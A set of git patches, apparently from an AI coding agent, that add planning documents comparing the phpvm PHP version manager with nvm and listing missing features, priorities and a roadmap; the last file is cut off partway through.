From 6c6a49940a9dbce374f5cb9613711b9cdb878dd2 Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Sun, 4 Jan 2026 07:29:18 +0000
Subject: [PATCH 01/20] Initial plan


From 9ca807404977f68f4114daf35b40ffef2889691c Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Sun, 4 Jan 2026 07:33:07 +0000
Subject: [PATCH 02/20] Add comprehensive NVM feature gaps analysis document

Co-authored-by: Thavarshan <10804999+Thavarshan@users.noreply.github.com>
---
 NVM_FEATURE_GAPS.md | 599 ++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 599 insertions(+)
 create mode 100644 NVM_FEATURE_GAPS.md

diff --git a/NVM_FEATURE_GAPS.md b/NVM_FEATURE_GAPS.md
new file mode 100644
index 0000000..3717e01
--- /dev/null
+++ b/NVM_FEATURE_GAPS.md
@@ -0,0 +1,599 @@
+# NVM Feature Gaps Analysis for phpvm
+
+**Date:** 2026-01-04  
+**Analysis Version:** 1.0  
+**phpvm Version Analyzed:** 1.7.0  
+**nvm Version Reference:** Latest (4662 lines)
+
+## Executive Summary
+
+This document provides a comprehensive analysis of features present in **nvm (Node Version Manager)** that are currently missing from **phpvm (PHP Version Manager)**. The goal is to achieve functional parity between the two tools, making phpvm as feature-complete as nvm.
+
+## Methodology
+
+1. Downloaded and analyzed nvm.sh from the official nvm-sh/nvm repository
+2. Reviewed phpvm.sh source code (2261 lines)
+3. Compared command structures, flags, and capabilities
+4. Categorized features by implementation priority
+5. Identified phpvm-specific advantages
+
+## Current Feature Comparison
+
+### Commands Present in Both Tools
+
+| Feature | NVM Command | PHPVM Command | Status |
+|---------|-------------|---------------|--------|
+| Install version | `nvm install <version>` | `phpvm install <version>` | ✅ |
+| Switch version | `nvm use <version>` | `phpvm use <version>` | ✅ |
+| Uninstall version | `nvm uninstall <version>` | `phpvm uninstall <version>` | ✅ |
+| Show current version | `nvm current` | `phpvm current` | ✅ |
+| Show binary path | `nvm which` | `phpvm which` | ✅ |
+| Deactivate | `nvm deactivate` | `phpvm deactivate` | ✅ |
+| List installed | `nvm ls` | `phpvm list/ls` | ✅ |
+| Help | N/A (built-in) | `phpvm help` | ✅ |
+| Version info | `nvm --version` | `phpvm version` | ✅ |
+
+### Commands Missing from PHPVM
+
+| Priority | NVM Command | Description | Implementation Complexity |
+|----------|-------------|-------------|---------------------------|
+| **HIGH** | `nvm alias <name> <version>` | Create version aliases | Medium |
+| **HIGH** | `nvm unalias <name>` | Remove aliases | Low |
+| **HIGH** | `nvm alias [pattern]` | List aliases | Low |
+| **HIGH** | `nvm ls-remote` | List available versions | High |
+| **HIGH** | `nvm ls-remote <pattern>` | Filter remote versions | High |
+| **HIGH** | `nvm exec <version> <command>` | Execute command with version | Medium |
+| **HIGH** | `nvm run <version> [args]` | Run script with version | Medium |
+| **HIGH** | `nvm cache dir` | Show cache directory | Low |
+| **HIGH** | `nvm cache clear` | Clear cache | Low |
+| **MEDIUM** | `nvm version <version>` | Resolve version locally | Medium |
+| **MEDIUM** | `nvm version-remote <version>` | Resolve version remotely | High |
+| **MEDIUM** | `nvm reinstall-packages <version>` | Migrate packages | High |
+| **MEDIUM** | `nvm unload` | Unload from shell | Low |
+| **MEDIUM** | `nvm debug` | Debug information | Low |
+| **LOW** | `nvm set-colors` | Customize colors | Low |
+| **LOW** | `nvm install-latest-npm` | Upgrade npm equivalent | N/A for PHP |
+
+## Detailed Feature Analysis
+
+### 1. Alias Management System (HIGH PRIORITY)
+
+**Current State:** phpvm has no alias system.
+
+**NVM Implementation:**
+- Stores aliases in `$NVM_DIR/alias/` directory
+- Each alias is a file containing the target version
+- Special aliases: `default`, `node`, `iojs`, `stable`, `unstable`
+- Commands: `alias`, `unalias`, `alias <name> <version>`
+
+**Proposed PHPVM Implementation:**
+```bash
+# Directory structure
+$PHPVM_DIR/alias/          # Alias storage directory
+$PHPVM_DIR/alias/default   # Default PHP version
+$PHPVM_DIR/alias/latest    # Latest installed version
+$PHPVM_DIR/alias/stable    # Latest stable version
+
+# Commands to implement
+phpvm alias [pattern]                  # List all aliases (or matching pattern)
+phpvm alias <name> <version>           # Create/update alias
+phpvm unalias <name>                   # Remove alias
+phpvm use <alias>                      # Use version by alias
+phpvm install <version> --default      # Install and set as default
+
+# Examples
+phpvm alias default 8.2
+phpvm alias production 8.1
+phpvm use default
+phpvm list --aliases  # Show aliases in list output
+```
+
+**Implementation Steps:**
+1. Create `$PHPVM_DIR/alias/` directory structure
+2. Add `phpvm_alias()` function for creating aliases
+3. Add `phpvm_unalias()` function for removing aliases
+4. Add `phpvm_list_aliases()` function for listing
+5. Add `phpvm_resolve_alias()` function for alias resolution
+6. Modify `use_php_version()` to support alias names
+7. Modify `list_installed_versions()` to show aliases
+8. Add tests for alias functionality
+
+**Files to Create/Modify:**
+- Add alias directory initialization in `create_directories()`
+- Add alias functions (approx. 200 lines)
+- Update `main()` case statement
+- Update `print_help()`
+- Add tests in `run_tests()`
+
+---
+
+### 2. Remote Version Listing (HIGH PRIORITY)
+
+**Current State:** phpvm cannot list available versions before installation.
+
+**NVM Implementation:**
+- Queries nodejs.org API for available versions
+- Supports filtering by version pattern
+- Shows LTS versions with labels
+- Caches results temporarily
+
+**Proposed PHPVM Implementation:**
+```bash
+# Commands to implement
+phpvm ls-remote                        # List all available PHP versions
+phpvm ls-remote <pattern>              # Filter versions (e.g., "8", "8.2")
+phpvm ls-remote --no-colors            # Disable colored output
+
+# Package manager specific implementations
+# Homebrew: Parse `brew search php@` output
+# APT: Parse `apt-cache search php` output
+# DNF/YUM: Parse `dnf search php` output
+# Pacman: Parse `pacman -Ss php` output
+```
+
+**Implementation Steps:**
+1. Create `phpvm_ls_remote()` function
+2. Implement package-manager-specific queries:
+   - Homebrew: `brew search '/^php@?[0-9.]*$/'`
+   - APT: `apt-cache search '^php[0-9.]*$'`
+   - DNF: `dnf search php --showduplicates`
+   - YUM: `yum search php --showduplicates`
+   - Pacman: `pacman -Ss '^php[0-9.]*$'`
+3. Parse and format output consistently
+4. Add version filtering by pattern
+5. Add caching mechanism (optional)
+6. Handle network/repository errors gracefully
+7. Add color support for output
+
+**Implementation Challenges:**
+- Different package managers have different output formats
+- Some package managers require sudo for cache updates
+- Network connectivity issues
+- Repository availability varies by distribution
+
+**Files to Modify:**
+- Add `phpvm_ls_remote()` function (approx. 150 lines)
+- Add helper functions for parsing outputs
+- Update `main()` case statement
+- Update `print_help()`
+
+---
+
+### 3. Command Execution with Version Context (HIGH PRIORITY)
+
+**Current State:** phpvm can only switch versions globally; cannot run commands with specific versions.
+
+**NVM Implementation:**
+- `nvm exec <version> <command>`: Executes any command with version in PATH
+- `nvm run <version> [script] [args]`: Specifically runs node with version
+- Temporarily modifies PATH without affecting shell
+
+**Proposed PHPVM Implementation:**
+```bash
+# Commands to implement
+phpvm exec <version> <command> [args...]    # Execute command with PHP version
+phpvm run <version> [script] [args...]      # Run PHP script with version
+
+# Examples
+phpvm exec 8.2 composer install
+phpvm exec 8.1 php -v
+phpvm run 8.0 script.php arg1 arg2
+phpvm exec 7.4 vendor/bin/phpunit
+
+# With flags
+phpvm exec 8.2 --silent -- composer install
+phpvm run 8.1 --save script.php
+```
+
+**Implementation Steps:**
+1. Create `phpvm_exec()` function
+2. Create `phpvm_run()` function (wrapper around exec)
+3. Implement temporary PATH modification in subshell
+4. Validate version exists before execution
+5. Support alias resolution
+6. Handle command not found errors
+7. Preserve exit codes from executed commands
+8. Support --silent flag
+
+**Implementation Details:**
+```bash
+phpvm_exec() {
+    local version="$1"
+    shift
+    local command="$@"
+    
+    # Validate version exists
+    local php_path=$(phpvm_which "$version")
+    [ $? -ne 0 ] && return 1
+    
+    # Execute in subshell with modified PATH
+    (
+        export PATH="$(dirname "$php_path"):$PATH"
+        exec $command
+    )
+}
+
+phpvm_run() {
+    local version="$1"
+    shift
+    phpvm_exec "$version" php "$@"
+}
+```
+
+**Files to Modify:**
+- Add `phpvm_exec()` and `phpvm_run()` functions (approx. 100 lines)
+- Update `main()` case statement
+- Update `print_help()`
+- Add tests for exec and run
+
+---
+
+### 4. Cache Management (HIGH PRIORITY)
+
+**Current State:** phpvm relies entirely on package managers; has no cache directory.
+
+**NVM Implementation:**
+- `$NVM_DIR/cache/` stores downloaded archives
+- `nvm cache dir` shows cache location
+- `nvm cache clear` removes cached files
+- Reduces re-download time
+
+**Proposed PHPVM Implementation:**
+```bash
+# Cache directory structure
+$PHPVM_DIR/cache/              # Main cache directory
+$PHPVM_DIR/cache/archives/     # Downloaded package archives (if applicable)
+$PHPVM_DIR/cache/metadata/     # Version metadata cache
+$PHPVM_DIR/cache/tmp/          # Temporary files
+
+# Commands to implement
+phpvm cache dir                # Show cache directory path
+phpvm cache clear              # Clear all cache
+phpvm cache clear archives     # Clear only archives
+phpvm cache clear metadata     # Clear only metadata
+```
+
+**Implementation Steps:**
+1. Create cache directory structure
+2. Implement `phpvm_cache_dir()` function
+3. Implement `phpvm_cache_clear()` function
+4. Add metadata caching for ls-remote
+5. Add safe deletion with confirmation
+6. Add cache size reporting
+
+**Files to Modify:**
+- Add cache directory creation in `create_directories()`
+- Add `phpvm_cache_dir()` and `phpvm_cache_clear()` (approx. 80 lines)
+- Update `main()` case statement
+- Update `print_help()`
+
+---
+
+### 5. Enhanced Install Options (MEDIUM PRIORITY)
+
+**Current State:** `phpvm install` accepts only version number.
+
+**NVM Implementation:**
+- `--alias=<name>`: Set alias after install
+- `--default`: Set as default after install
+- `--save`: Write to .nvmrc after install
+- `--no-progress`: Disable progress bars
+- `--lts`, `--lts=<name>`: Install LTS versions
+
+**Proposed PHPVM Implementation:**
+```bash
+# Enhanced install command
+phpvm install <version> [flags]
+
+# Flags to implement
+--alias=<name>     # Set alias after installation
+--default          # Set as default version
+--save             # Write to .phpvmrc after installation
+--silent           # Suppress output
+--no-confirm       # Skip confirmations
+
+# Examples
+phpvm install 8.2 --default --save
+phpvm install 8.1 --alias=production
+phpvm install 7.4 --silent
+```
+
+**Implementation Steps:**
+1. Add flag parsing in `install_php()`
+2. Add post-install alias setting
+3. Add post-install .phpvmrc writing
+4. Add confirmation prompts
+5. Add silent mode support
+
+---
+
+### 6. Enhanced Use Options (MEDIUM PRIORITY)
+
+**Current State:** `phpvm use` accepts only version number.
+
+**NVM Implementation:**
+- `--silent`: Suppress output
+- `--save`: Write to .nvmrc
+- `--lts`, `--lts=<name>`: Use LTS versions
+
+**Proposed PHPVM Implementation:**
+```bash
+# Enhanced use command
+phpvm use <version> [flags]
+
+# Flags to implement
+--silent           # Suppress output
+--save             # Write to .phpvmrc in current directory
+
+# Examples
+phpvm use 8.2 --save
+phpvm use default --silent
+phpvm use production --save
+```
+
+---
+
+### 7. Version Resolution (MEDIUM PRIORITY)
+
+**Current State:** phpvm requires exact version numbers.
+
+**NVM Implementation:**
+- `nvm version <version>`: Resolve locally
+- `nvm version-remote <version>`: Resolve remotely
+- Supports patterns like "8", "8.x", "lts/*"
+
+**Proposed PHPVM Implementation:**
+```bash
+# Commands to implement
+phpvm version <pattern>         # Resolve pattern to installed version
+phpvm version-remote <pattern>  # Resolve pattern to remote version
+
+# Pattern support
+phpvm version 8              # Returns latest 8.x.x installed
+phpvm version 8.2            # Returns latest 8.2.x installed
+phpvm version latest         # Returns latest installed version
+phpvm version stable         # Returns latest stable version
+
+# Examples
+$ phpvm version 8
+8.3.1
+$ phpvm version-remote 8.2
+8.2.15
+```
+
+---
+
+### 8. Package/Extension Migration (MEDIUM PRIORITY)
+
+**Current State:** No extension migration support.
+
+**NVM Implementation:**
+- `nvm reinstall-packages <version>`: Copies global npm packages
+
+**Proposed PHPVM Implementation:**
+```bash
+# Command to implement
+phpvm reinstall-packages <source-version>   # Migrate extensions to current version
+phpvm reinstall-packages <src> <dest>       # Migrate between specific versions
+
+# Example
+phpvm use 8.2
+phpvm reinstall-packages 8.1  # Copy extensions from 8.1 to 8.2
+```
+
+**Implementation Challenges:**
+- PHP extensions are compiled per version
+- Package manager differences (pecl vs apt-get)
+- Extension compatibility varies by PHP version
+- May require recompilation
+
+**Possible Approach:**
+1. List extensions from source version: `php -m`
+2. Filter to installed extensions (exclude bundled)
+3. Attempt to install each in target version
+4. Report success/failure for each extension
+
+---
+
+### 9. Unload Command (MEDIUM PRIORITY)
+
+**Current State:** phpvm has `deactivate` but not full unload.
+
+**NVM Implementation:**
+- `nvm unload`: Removes all nvm functions from shell
+- More complete than deactivate
+
+**Proposed PHPVM Implementation:**
+```bash
+# Command to implement
+phpvm unload                   # Completely unload phpvm from shell
+
+# What it should do:
+1. Remove all phpvm functions from shell
+2. Restore original PATH
+3. Unset all PHPVM_* environment variables
+4. Remove phpvm command from shell
+```
+
+---
+
+### 10. Debug Command (MEDIUM PRIORITY)
+
+**Current State:** phpvm has `info` command with basic information.
+
+**NVM Implementation:**
+- Shows detailed debugging information
+- Includes versions, paths, shell info, environment variables
+
+**Proposed PHPVM Implementation:**
+```bash
+# Enhanced debug command
+phpvm debug                    # Comprehensive debug output
+
+# Should include:
+- phpvm version
+- phpvm directory
+- Active PHP version
+- All installed versions
+- Shell information ($SHELL, $SHLVL)
+- OS information
+- Package manager information
+- PATH contents
+- All PHPVM_* environment variables
+- Alias list
+- .phpvmrc location and content
+- Cache information
+```
+
+---
+
+### 11. Smart Version Pattern Matching (LOW PRIORITY)
+
+**Current State:** Requires exact version like "8.1" or "8.2.1".
+
+**Proposed Enhancement:**
+```bash
+# Smart matching
+phpvm install 8              # Install latest 8.x
+phpvm use 8.2                # Use latest 8.2.x
+phpvm use latest             # Use latest installed
+phpvm install stable         # Install latest stable
+```
+
+---
+
+### 12. Color Customization (LOW PRIORITY)
+
+**Current State:** phpvm has fixed colors.
+
+**NVM Implementation:**
+- `nvm set-colors <codes>`: Customize output colors
+- Format: "yMeBg" (yellow, Magenta, etc.)
+
+**Proposed PHPVM Implementation:**
+```bash
+# Command to implement
+phpvm set-colors <color-codes>
+
+# Example
+phpvm set-colors cgYmW  # cyan, green, Yellow, magenta, White
+```
+
+---
+
+## Implementation Roadmap
+
+### Phase 1: Core Features (Weeks 1-3)
+1. ✅ Analysis and documentation (Week 1)
+2. Alias management system (Week 2)
+3. Cache management (Week 2)
+4. Command execution (exec, run) (Week 3)
+
+### Phase 2: Remote & Resolution (Weeks 4-6)
+5. Remote version listing (ls-remote) (Week 4-5)
+6. Version resolution (version, version-remote) (Week 6)
+
+### Phase 3: Enhanced Options (Weeks 7-8)
+7. Install flags (--alias, --default, --save) (Week 7)
+8. Use flags (--silent, --save) (Week 7)
+9. Silent mode support across commands (Week 8)
+10. Unload command (Week 8)
+
+### Phase 4: Advanced Features (Weeks 9-10)
+11. Package/extension migration (Week 9)
+12. Debug command enhancement (Week 9)
+13. Smart version pattern matching (Week 10)
+14. Color customization (Week 10)
+
+### Phase 5: Testing & Documentation (Week 11-12)
+15. Comprehensive testing for all new features
+16. Update documentation
+17. Update examples and README
+18. Performance optimization
+19. Security review
+
+## Testing Strategy
+
+### Unit Tests
+- Test each new function independently
+- Mock system calls where appropriate
+- Test error conditions
+- Test edge cases
+
+### Integration Tests
+- Test command combinations
+- Test across different package managers
+- Test on different operating systems
+- Test with different shells
+
+### User Acceptance Tests
+- Test common workflows
+- Test migration from old versions
+- Performance benchmarks
+- User feedback collection
+
+## Backward Compatibility
+
+All new features must maintain backward compatibility:
+- Existing commands must work unchanged
+- New flags must be optional
+- Default behavior must remain consistent
+- Old .phpvmrc files must still work
+
+## Documentation Requirements
+
+For each new feature:
+- Update help text in `print_help()`
+- Update README.md with examples
+- Add to CHANGELOG.md
+- Update CLAUDE.md if needed
+- Add inline code comments
+- Create usage examples
+
+## Success Criteria
+
+phpvm will be considered feature-complete relative to nvm when:
+1. All HIGH priority features are implemented and tested
+2. At least 75% of MEDIUM priority features are implemented
+3. Core functionality matches nvm behavior
+4. All tests pass on supported platforms
+5. Documentation is complete and accurate
+6. Performance is acceptable (no significant slowdown)
+7. User feedback is positive
+
+## Notes and Caveats
+
+### PHP vs Node.js Differences
+- **No LTS concept**: PHP doesn't have official LTS versions like Node.js
+- **Package managers**: PHP relies on system package managers (apt, brew, etc.) while nvm downloads binaries
+- **Extensions**: PHP has compiled extensions (C modules) vs npm packages (JavaScript)
+- **Compilation**: nvm can compile from source; phpvm uses pre-built packages
+
+### Package Manager Limitations
+- **apt/yum/dnf**: Version availability depends on repository configuration
+- **Homebrew**: Limited to versions in Homebrew formulae
+- **pacman**: Arch Linux typically has only current version
+- Some features (like binary caching) may not apply
+
+### Implementation Considerations
+- Maintain cross-platform compatibility (macOS, Linux, WSL)
+- Keep script size manageable (currently ~2300 lines)
+- Preserve excellent error handling
+- Maintain security standards
+- Keep installation simple
+
+## Conclusion
+
+This analysis identifies 15+ major features missing from phpvm that exist in nvm. Implementing these features in priority order will bring phpvm to full feature parity with nvm, making it the most comprehensive PHP version manager available.
+
+**Estimated Total Effort:** 10-12 weeks for full implementation
+**Lines of Code to Add:** Approximately 1500-2000 lines
+**Testing Effort:** 2-3 weeks
+**Documentation Effort:** 1 week
+
+---
+
+**Document Version:** 1.0  
+**Last Updated:** 2026-01-04  
+**Prepared by:** GitHub Copilot Analysis  
+**For:** phpvm Project Enhancement

From f36c83a8670f6a042b91ca927d78a5a501b25842 Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Sun, 4 Jan 2026 07:34:04 +0000
Subject: [PATCH 03/20] Add feature parity checklist for quick reference

Co-authored-by: Thavarshan <10804999+Thavarshan@users.noreply.github.com>
---
 FEATURE_CHECKLIST.md | 178 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 178 insertions(+)
 create mode 100644 FEATURE_CHECKLIST.md

diff --git a/FEATURE_CHECKLIST.md b/FEATURE_CHECKLIST.md
new file mode 100644
index 0000000..96c4125
--- /dev/null
+++ b/FEATURE_CHECKLIST.md
@@ -0,0 +1,178 @@
+# phpvm Feature Parity Checklist
+
+A quick reference checklist of features needed to achieve full functional parity with nvm.
+
+## ✅ Already Implemented (Compatible with NVM)
+
+- [x] `phpvm install <version>` - Install PHP version
+- [x] `phpvm use <version>` - Switch to PHP version
+- [x] `phpvm uninstall <version>` - Remove PHP version
+- [x] `phpvm current` - Display active version
+- [x] `phpvm which [version]` - Show path to PHP binary
+- [x] `phpvm deactivate` - Disable phpvm temporarily
+- [x] `phpvm list` / `phpvm ls` - List installed versions
+- [x] `phpvm version` - Show phpvm version
+- [x] Auto-switching via `.phpvmrc` file
+
+## 🔴 HIGH PRIORITY - Missing Core Features
+
+### Alias System
+- [ ] `phpvm alias [pattern]` - List all aliases (or filter by pattern)
+- [ ] `phpvm alias <name> <version>` - Create/update version alias
+- [ ] `phpvm unalias <name>` - Remove alias
+- [ ] Support `default` alias concept
+- [ ] Support using aliases in `use`, `install`, etc.
+- [ ] Show aliases in `phpvm list` output
+
+### Remote Version Management
+- [ ] `phpvm ls-remote` - List all available PHP versions
+- [ ] `phpvm ls-remote <pattern>` - Filter remote versions by pattern
+- [ ] `phpvm ls-remote --no-colors` - Disable colored output
+- [ ] Package manager integration for version discovery
+
+### Command Execution
+- [ ] `phpvm exec <version> <command> [args]` - Execute command with specific PHP version
+- [ ] `phpvm run <version> [script] [args]` - Run PHP script with specific version
+- [ ] Support for `--silent` flag in exec/run
+- [ ] Preserve exit codes from executed commands
+
+### Cache Management
+- [ ] `phpvm cache dir` - Display cache directory location
+- [ ] `phpvm cache clear` - Clear all cached data
+- [ ] Create cache directory structure
+- [ ] Implement metadata caching for ls-remote
+
+## 🟡 MEDIUM PRIORITY - Enhanced Usability
+
+### Enhanced Install Command
+- [ ] `phpvm install <version> --alias=<name>` - Set alias after install
+- [ ] `phpvm install <version> --default` - Set as default after install
+- [ ] `phpvm install <version> --save` - Write to .phpvmrc after install
+- [ ] `phpvm install <version> --silent` - Silent installation
+- [ ] Support for `latest` keyword
+
+### Enhanced Use Command
+- [ ] `phpvm use <version> --silent` - Silent version switching
+- [ ] `phpvm use <version> --save` - Write to .phpvmrc after switch
+- [ ] Support for partial version matching
+
+### Version Resolution
+- [ ] `phpvm version <pattern>` - Resolve version pattern locally
+- [ ] `phpvm version-remote <pattern>` - Resolve version pattern remotely
+- [ ] Support patterns: "8", "8.2", "latest", "stable"
+- [ ] Smart version matching (e.g., "8" → "8.3.1")
+
+### Shell Integration
+- [ ] `phpvm unload` - Completely unload phpvm from shell
+- [ ] Enhanced unload to remove all functions
+- [ ] Clear all PHPVM_* environment variables
+
+### Package Migration
+- [ ] `phpvm reinstall-packages <source-version>` - Migrate extensions
+- [ ] List extensions from source version
+- [ ] Attempt installation in target version
+- [ ] Report success/failure for each extension
+
+### Debugging
+- [ ] `phpvm debug` - Comprehensive debug information
+- [ ] Show all PHPVM_* variables
+- [ ] Show PATH contents
+- [ ] Show alias list
+- [ ] Show cache information
+
+## 🟢 LOW PRIORITY - Nice to Have
+
+### Pattern Matching
+- [ ] Support partial versions in all commands
+- [ ] `phpvm install latest` - Install latest available
+- [ ] `phpvm install stable` - Install latest stable
+- [ ] `phpvm use 8` - Use latest 8.x installed
+
+### Customization
+- [ ] `phpvm set-colors <codes>` - Customize output colors
+- [ ] User configuration file support
+- [ ] Persistent color preferences
+
+### Silent Mode
+- [ ] Global `--silent` flag support
+- [ ] Silent mode for all commands
+- [ ] Configurable verbosity levels
+
+### Additional Enhancements
+- [ ] `phpvm list --no-colors` - Disable colors in list
+- [ ] `phpvm list --no-alias` - Hide aliases in list
+- [ ] Tab completion for bash/zsh
+- [ ] Man page documentation
+
+## 🎯 phpvm Unique Features (Not in NVM)
+
+These features are already in phpvm but not in nvm:
+
+- [x] `phpvm test` - Built-in comprehensive self-tests
+- [x] `phpvm info` / `phpvm sysinfo` - System information display
+- [x] `phpvm system` - Explicit system version command
+- [x] Multi-package-manager support (apt, dnf, yum, pacman, brew)
+- [x] Repository setup guidance for RHEL/Fedora
+- [x] WSL-specific detection and handling
+- [x] Comprehensive error handling with actionable solutions
+- [x] Timestamped logging
+- [x] Atomic file operations
+
+## Implementation Statistics
+
+### Current Status
+- **Features in phpvm:** 13 commands
+- **Features in nvm:** 22+ commands
+- **Features to add:** 18+ features
+- **Feature parity:** ~60%
+
+### Estimated Effort
+- **HIGH priority:** 4-5 weeks
+- **MEDIUM priority:** 4-5 weeks  
+- **LOW priority:** 2-3 weeks
+- **Total implementation:** 10-12 weeks
+- **Additional code:** ~1500-2000 lines
+- **Testing:** 2-3 weeks
+- **Documentation:** 1 week
+
+## Quick Reference: Command Mapping
+
+| NVM Command | PHPVM Equivalent | Status |
+|-------------|------------------|--------|
+| `nvm install <v>` | `phpvm install <v>` | ✅ Done |
+| `nvm uninstall <v>` | `phpvm uninstall <v>` | ✅ Done |
+| `nvm use <v>` | `phpvm use <v>` | ✅ Done |
+| `nvm current` | `phpvm current` | ✅ Done |
+| `nvm ls` | `phpvm list/ls` | ✅ Done |
+| `nvm ls-remote` | `phpvm ls-remote` | ❌ Missing |
+| `nvm which` | `phpvm which` | ✅ Done |
+| `nvm alias` | `phpvm alias` | ❌ Missing |
+| `nvm unalias` | `phpvm unalias` | ❌ Missing |
+| `nvm exec` | `phpvm exec` | ❌ Missing |
+| `nvm run` | `phpvm run` | ❌ Missing |
+| `nvm deactivate` | `phpvm deactivate` | ✅ Done |
+| `nvm unload` | `phpvm unload` | ❌ Missing |
+| `nvm version` | `phpvm version` | 🟡 Partial |
+| `nvm version-remote` | `phpvm version-remote` | ❌ Missing |
+| `nvm cache` | `phpvm cache` | ❌ Missing |
+| `nvm reinstall-packages` | `phpvm reinstall-packages` | ❌ Missing |
+| `nvm set-colors` | `phpvm set-colors` | ❌ Missing |
+| `nvm debug` | `phpvm debug` | 🟡 Partial (info) |
+| N/A | `phpvm test` | ✅ Unique |
+| N/A | `phpvm system` | ✅ Unique |
+| N/A | `phpvm auto` | ✅ Unique |
+
+## Legend
+
+- ✅ **Done** - Feature fully implemented
+- 🟡 **Partial** - Feature partially implemented
+- ❌ **Missing** - Feature not implemented
+- 🔴 **HIGH** - Essential for feature parity
+- 🟡 **MEDIUM** - Important for usability
+- 🟢 **LOW** - Nice to have
+
+---
+
+**Last Updated:** 2026-01-04  
+**Document Version:** 1.0  
+**For detailed analysis, see:** [NVM_FEATURE_GAPS.md](./NVM_FEATURE_GAPS.md)

From e80d8697cacca961b95b80832970b10fedec3700 Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Sun, 4 Jan 2026 07:35:05 +0000
Subject: [PATCH 04/20] Add analysis summary README for easy navigation

Co-authored-by: Thavarshan <10804999+Thavarshan@users.noreply.github.com>
---
 ANALYSIS_README.md | 180 +++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 180 insertions(+)
 create mode 100644 ANALYSIS_README.md

diff --git a/ANALYSIS_README.md b/ANALYSIS_README.md
new file mode 100644
index 0000000..e7ba5b7
--- /dev/null
+++ b/ANALYSIS_README.md
@@ -0,0 +1,180 @@
+# phpvm Feature Analysis Summary
+
+This directory contains comprehensive analysis documents comparing phpvm with nvm (Node Version Manager) to identify feature gaps and create an implementation roadmap.
+
+## 📚 Documentation Files
+
+### 1. [NVM_FEATURE_GAPS.md](./NVM_FEATURE_GAPS.md)
+**Comprehensive Analysis Document** (599 lines)
+
+The main detailed analysis document including:
+- Executive summary of findings
+- Methodology and comparison approach
+- Side-by-side feature comparison tables
+- Detailed analysis of 18+ missing features
+- Implementation steps and code examples for each feature
+- 12-week implementation roadmap (5 phases)
+- Testing strategy and success criteria
+- Backward compatibility considerations
+- Effort estimates and timelines
+
+**Best for:** Development teams planning implementation
+
+### 2. [FEATURE_CHECKLIST.md](./FEATURE_CHECKLIST.md)
+**Quick Reference Checklist** (178 lines)
+
+A concise, checkbox-based tracking document including:
+- Status of all features (implemented vs missing)
+- Priority-based organization (HIGH/MEDIUM/LOW)
+- Command mapping table (NVM → PHPVM)
+- Implementation statistics
+- Progress tracking format
+- Quick reference legend
+
+**Best for:** Quick status checks and progress tracking
+
+## 🎯 Analysis Results at a Glance
+
+### Current Status
+- **Feature Parity:** ~60%
+- **Commands in phpvm:** 13
+- **Commands in nvm:** 22+
+- **Features to Add:** 18+
+
+### Missing Feature Categories
+
+#### 🔴 HIGH PRIORITY (9 features)
+Essential for feature parity with nvm:
+1. Alias Management (`alias`, `unalias`)
+2. Remote Version Listing (`ls-remote`)
+3. Command Execution (`exec`, `run`)
+4. Cache Management (`cache dir`, `cache clear`)
+
+#### 🟡 MEDIUM PRIORITY (6 features)
+Important for enhanced usability:
+5. Enhanced Install Flags (`--alias`, `--default`, `--save`)
+6. Enhanced Use Flags (`--silent`, `--save`)
+7. Version Resolution (`version`, `version-remote`)
+8. Unload Command (`unload`)
+9. Extension Migration (`reinstall-packages`)
+10. Debug Enhancement (`debug`)
+
+#### 🟢 LOW PRIORITY (3+ features)
+Nice to have for better UX:
+11. Smart Pattern Matching
+12. Color Customization (`set-colors`)
+13. Global Silent Mode
+14. Tab Completion
+
+## 📊 Implementation Timeline
+
+| Phase | Duration | Features |
+|-------|----------|----------|
+| Phase 1: Core Features | 3 weeks | Alias, Cache, Exec/Run |
+| Phase 2: Remote & Resolution | 3 weeks | ls-remote, Version resolution |
+| Phase 3: Enhanced Options | 2 weeks | Flags, Silent mode, Unload |
+| Phase 4: Advanced Features | 2 weeks | Migration, Debug, Patterns |
+| Phase 5: Testing & Docs | 2 weeks | Tests, Docs, Performance |
+| **Total** | **12 weeks** | **All features** |
+
+**Additional Time:**
+- Testing: 2-3 weeks
+- Documentation: 1 week
+- **Grand Total:** ~15 weeks
+
+## 🚀 Quick Start Guide
+
+### For Developers
+1. Read [NVM_FEATURE_GAPS.md](./NVM_FEATURE_GAPS.md) for detailed implementation guidance
+2. Start with HIGH priority features
+3. Follow the implementation steps for each feature
+4. Maintain backward compatibility
+5. Add tests for each new feature
+
+### For Project Managers
+1. Review [FEATURE_CHECKLIST.md](./FEATURE_CHECKLIST.md) for status overview
+2. Track progress using the checkbox format
+3. Monitor implementation against 12-week roadmap
+4. Use effort estimates for sprint planning
+
+### For Users
+1. Check [FEATURE_CHECKLIST.md](./FEATURE_CHECKLIST.md) to see what's coming
+2. See command mapping table for nvm → phpvm equivalents
+3. Understand which features are in progress
+4. Provide feedback on priorities
+
+## 💡 Key Insights
+
+### phpvm Strengths (vs nvm)
+- ✅ Built-in comprehensive self-tests
+- ✅ System information command
+- ✅ Multi-package-manager support
+- ✅ Repository setup guidance
+- ✅ WSL-specific handling
+- ✅ Timestamped logging
+- ✅ Atomic file operations
+
+### Areas for Improvement
+- ❌ No alias system (critical)
+- ❌ Cannot list remote versions
+- ❌ Cannot execute commands with specific versions
+- ❌ No cache management
+- ❌ Limited install/use options
+- ❌ No version pattern matching
+
+## 📈 Success Metrics
+
+phpvm achieves feature parity when:
+1. ✅ All HIGH priority features implemented
+2. ✅ At least 75% of MEDIUM priority features implemented
+3. ✅ Core functionality matches nvm behavior
+4. ✅ All tests pass on supported platforms
+5. ✅ Documentation complete
+6. ✅ Performance acceptable
+7. ✅ Positive user feedback
+
+## 🔄 Progress Tracking
+
+Track implementation progress in [FEATURE_CHECKLIST.md](./FEATURE_CHECKLIST.md):
+- Update checkboxes as features are completed
+- Mark status as ✅ Done, 🟡 Partial, or ❌ Missing
+- Track against the 12-week roadmap
+
+## 📝 Contributing
+
+When implementing features:
+1. Follow implementation steps in NVM_FEATURE_GAPS.md
+2. Update FEATURE_CHECKLIST.md with progress
+3. Write tests for new functionality
